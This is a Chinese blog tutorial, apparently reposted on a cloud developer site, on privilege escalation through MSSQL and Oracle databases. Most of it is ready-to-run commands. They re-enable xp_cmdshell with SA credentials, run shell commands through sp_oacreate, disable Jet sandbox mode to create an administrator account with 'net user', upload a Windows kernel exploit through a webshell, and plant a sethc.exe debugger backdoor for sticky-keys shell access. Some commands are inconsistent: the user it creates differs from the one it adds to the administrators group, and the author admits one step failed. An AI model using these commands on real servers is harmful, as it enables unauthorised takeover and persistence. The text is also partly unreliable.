微信公众号:[白昼信安]
[如果你觉得文章对你有帮助,欢迎赞赏]

内容目录

二、mssql提权
1.mssql提权之xp_cmdshell
2.mssql提权之sp_oacreate
3.mssql提权之sp_oamethod
4.mssql提权之沙盒模式提权
5.mssql提权之映像劫持  
三、Oracle数据库提权-oracle工具

二、mssql提权

流程:和mysql相同,需要得到SA用户账号密码
例如读取网站的数据库配置文件。

图片

1.mssql提权之xp_cmdshell

原理:扩展存储过程中xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令。

xp_cmdshell在mssql2000是默认开启的,2005之后默认关闭,但我们有SA管理员账号密码后,可以使用sp_configure重新开启。
第一步,使用sa用户远程连接一下。(mssql数据库SA用户默认支持外连)。

利用xp_cmdshell执行命令,发现受阻。

图片

第二步,启动xp_cmdshell

启用:EXEC sp_configure 'show advanced options', 1RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;关闭就是把xp_cmdshell后的1改成0即可。

图片

第三步:再次执行命令EXEC master.dbo.xp_cmdshell 'whoami'

图片

成功执行cmd命令,就是权限有的低,这里就又绕到了windows本地提权,我们通过信息收集,使用ms15-015漏洞进行提权,先将ms15-015利用exp通过webshell上传到对方服务器,然后在sql命令中执行。

图片

成功提权,system权限。

如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复。

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQLServer\MSSQL\Binn\xplog70.dll'
2.mssql提权之sp_oacreate+sp_oamethod

sp_oacreate可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd

sp_oacreatesp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreatesp_oamethod同样能胜任。但是使用此方法时sp_oacreate没有回显,所以一般用于xp_cmdshell无法使用时。

第一步,先开启组件

开启:EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE

图片

第二步:进行系统命令执行

执行whoami并写入到c盘1.txtdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt

图片

不过我这里并没有成功写入,试了好几次都没有成功,知道的大佬可以说一下哈。
3.mssql提权之沙盒模式提权

原理:本质是修改注册表,默认情况下,注册表中mdb数据库不允许执行系统命令,但是开启沙盒模式,就准许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。

按照下面代码依次执行即可。

1.--提权语句
exec sp_configure 'show advanced options',1;reconfigure;
2.-- 不开启的话在执行xp_regwrite会提示让我们开启,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
3.--关闭沙盒的安全模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
4.--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
5.--执行系统命令5.1、创建m9用户select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user m9 m9 /add")')5.2、将创建的m9用户加入的管理员组select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式SandBoxMode参数含义(默认是2)`0`:在任何所有者中禁止启用安全模式`1` :为仅在允许范围内`2` :必须在access模式下`3`:完全开启
4.mssql提权之映像劫持
通过使用xp_regwrite存储过程对注册表进行修改,替换成任意值,造成镜像劫持。

使用前提:需要开启xp_regwrite并未禁止注册表编辑。

查看xp_regwrite是否启用select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'

开启:xp_regwrite

EXEC sp_configure 'show advanced options', 1RECONFIGUREEXEC sp_configure 'xp_regwrite',1RECONFIGURE

利用regwrite函数修改注册表进行劫持,如果这里regwrite执行失败使用上面方法开启。

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

图片

接下来查看是否劫持成功。

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

图片

接下来我们使用远程连接桌面,连续按五次shift就可调用cmd窗口。

图片

上面对只是对粘滞键进行修改,类似的,可以在注册表中进行其他操作。

参考文章:https://blog.csdn.net/q20010619/article/details/121447014

三、orcle数据库提权

注意:oracle数据库一般搭配java,而jsp网站一般拿到webshell就是系统权限,一般不需要提权。

第一步:同样先找到用户名和密码信息。

第二步:选择相应的模式,使用oracleshell工具提权即可。

图片

软件地址:https://github.com/jas502n/oracleShell使用非常方便,可以看看项目介绍。🍉
Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐